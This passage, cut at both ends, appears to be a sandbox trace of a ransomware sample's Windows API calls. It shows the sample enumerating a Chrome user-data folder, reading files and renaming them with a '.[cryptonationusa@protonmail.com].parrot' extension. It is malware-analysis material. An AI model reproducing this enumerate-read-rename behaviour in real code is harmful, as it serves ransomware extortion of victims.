lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0075.989] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.989] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0075.989] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0075.989] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0075.989] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2b80 | out: hHeap=0x5b0000) returned 1 [0075.989] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileTypePolicies", cAlternateFileName="FILETY~1")) returned 1 [0075.989] lstrcmpW (lpString1="FileTypePolicies", lpString2=".") returned 1 [0075.989] lstrcmpW (lpString1="FileTypePolicies", lpString2="..") returned 1 [0075.990] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0075.990] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.990] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.990] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.990] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.990] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0075.990] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0075.990] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.990] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0075.990] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0075.990] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0075.991] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2b80 | out: hHeap=0x5b0000) returned 1 [0075.991] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f8b8920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f8b8920, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f8b8920, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="First Run", cAlternateFileName="FIRSTR~1")) returned 1 [0075.991] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85749110, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c0bcce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c0bf3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1082a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local State", cAlternateFileName="LOCALS~1")) returned 1 [0075.991] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0075.991] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0075.992] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.993] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1082a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x1082a, lpOverlapped=0x0) returned 1 [0075.996] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.997] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\local state"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\local state.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0075.998] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69d360 | out: hHeap=0x5b0000) returned 1 [0075.998] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8620 | out: hHeap=0x5b0000) returned 1 [0075.999] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0076.002] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0076.002] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.002] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.003] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.003] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.003] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.003] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0076.003] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.004] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0076.004] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0076.057] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2b80 | out: hHeap=0x5b0000) returned 1 [0076.057] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PepperFlash", cAlternateFileName="PEPPER~1")) returned 1 [0076.057] lstrcmpW (lpString1="PepperFlash", lpString2=".") returned 1 [0076.057] lstrcmpW (lpString1="PepperFlash", lpString2="..") returned 1 [0076.058] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0076.058] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.058] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.058] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.058] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.058] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.058] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0076.058] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.059] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.059] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0076.059] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0076.059] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2b80 | out: hHeap=0x5b0000) returned 1 [0076.059] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e47510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e47510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e47510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pnacl", cAlternateFileName="")) returned 1 [0076.059] lstrcmpW (lpString1="pnacl", lpString2=".") returned 1 [0076.059] lstrcmpW (lpString1="pnacl", lpString2="..") returned 1 [0076.059] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0076.060] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.060] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e47510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e47510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e47510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.060] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.060] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.060] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e47510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e47510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e47510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.060] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0076.060] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e47510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e47510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e47510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.060] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e47510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e47510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e47510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.060] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0076.060] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0076.060] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2b80 | out: hHeap=0x5b0000) returned 1 [0076.060] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x97f6e8b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs", cAlternateFileName="SAFEBR~3")) returned 1 [0076.061] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.061] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0076.062] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.063] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x1400, lpOverlapped=0x0) returned 1 [0076.064] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.064] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing channel ids"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing channel ids.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.065] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cdc0 | out: hHeap=0x5b0000) returned 1 [0076.065] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8620 | out: hHeap=0x5b0000) returned 1 [0076.065] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ad590 | out: hHeap=0x5b0000) returned 1 [0076.067] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.067] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0076.069] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.069] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x1c00, lpOverlapped=0x0) returned 1 [0076.070] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.070] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing cookies"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing cookies.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.071] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cdc0 | out: hHeap=0x5b0000) returned 1 [0076.071] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8620 | out: hHeap=0x5b0000) returned 1 [0076.071] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ad590 | out: hHeap=0x5b0000) returned 1 [0076.072] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0076.073] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.073] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.073] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.073] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.073] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.073] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: 